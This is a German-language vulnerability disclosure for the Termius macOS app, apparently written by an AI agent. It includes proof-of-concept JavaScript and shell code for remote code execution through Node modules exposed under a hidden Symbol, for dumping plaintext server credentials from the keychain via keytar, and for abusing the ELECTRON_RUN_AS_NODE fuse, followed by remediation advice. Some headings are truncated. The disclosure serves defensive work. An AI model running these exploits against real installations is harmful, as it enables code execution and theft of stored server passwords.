
Schwachstellen-Offenlegung mit PoCs für drei kritische Termius-macOS-Sicherheitslücken: Remote-Code-Ausführung über exponierte Node-Module, lokale Rechteausweitung mit Credential-Dump und Electron-Fuse-Bypass. Enthält Anleitung zur Behebung.
Ziel: Termius (macOS) Getestete Version: Aktuellste (Stand Januar 2026) Auswirkung: Remote-Codeausführung (RCE), lokale Rechteausweitung (LPE), Umgehung der App-Sicherheit
Im Rahmen der Analyse der Termius-macOS-Anwendung wurden drei kritische Schwachstellen identifiziert, die es einem Angreifer ermöglichen:
keytar.ELECTRON_RUN_AS_NODE.Die Anwendung stellt leistungsfähige Node.js-Module (child_process, fs, electron) dem Renderer-Prozess (dem Web-Interface-Teil der App) bereit. Diese Module sind hinter einem globalen Symbol im window-Objekt versteckt, um sie zu verschleiern, sind jedoch nicht sicher isoliert.
// In extracted app source
window[Symbol.for("preloadedModulesKey")] = {
child_process: require('child_process'),
// ...
};
Ein Angreifer, dem Cross-Site-Scripting (XSS) gelingt, kann mithilfe dieses exponierten Symbols sofort zu RCE eskalieren.
poc_rce_via_symbol.js:
// 1. Reconstruct the hidden key using Symbol.for (Global Registry)
const hiddenKey = Symbol.for("preloadedModulesKey");
// 2. Access the exposed backdoor object
const backdoor = window[hiddenKey];
if (backdoor && backdoor.child_process) {
console.log("RCE Target Acquired.");
// 3. Execute arbitrary system command (e.g., Calculator)
backdoor.child_process.exec("open -a Calculator");
}
Das native Node-Modul keytar, das Termius für die Anbindung an den macOS-Schlüsselbund verwendet, ist ebenfalls über dasselbe versteckte Symbol exponiert. Dadurch kann jedes Skript, das im Anwendungskontext ausgeführt wird (z. B. ein bösartiges Plugin, XSS oder lokale Prozessinjektion), Klartext-Passwörter für alle gespeicherten Server abfragen und abrufen.
poc_lpe_dump_creds.js:
const hiddenKey = Symbol.for("preloadedModulesKey");
const modules = window[hiddenKey];
// Find the keytar module (name may vary slightly)
const keytarModuleName = Object.keys(modules).find(k => k.includes("keytar"));
const keytar = modules[keytarModuleName];
// Dump credentials for the default service
keytar.findCredentials("Termius").then(credentials => {
console.log("🔥🔥🔥 DUMPED CREDENTIALS 🔥🔥🔥");
console.table(credentials);
});
RunAsNode)Das Termius-Binary deaktiviert die ELECTRON_RUN_AS_NODE-Fuse nicht. Dies ist eine kritische Sicherheitsfehlkonfiguration, die es jedem lokalen Benutzer ermöglicht, das signierte Termius-Binary als standardmäßig ausführbare Node.js-Datei auszuführen. Dadurch werden die Integritätsprüfungen der macOS-Codesignatur für die Anwendungslogik vollständig umgangen.
poc_fuse.sh:
# Execute Termius as Node.js, running arbitrary code
ELECTRON_RUN_AS_NODE=1 /Applications/Termius.app/Contents/MacOS/Termius -e 'require("child_process").exec("open -a Calculator")'
RunAsNode und EnableNodeCliInspectArguments während des Builds explizit mithilfe von @electron/fuses.window oder global an. Verwenden Sie contextBridge.exposeInMainWorld mit einer eingeschränkten API-Oberfläche, die nur notwendige Funktionen exponiert, nicht ganze Module.Bericht erstellt von Antigravity Agent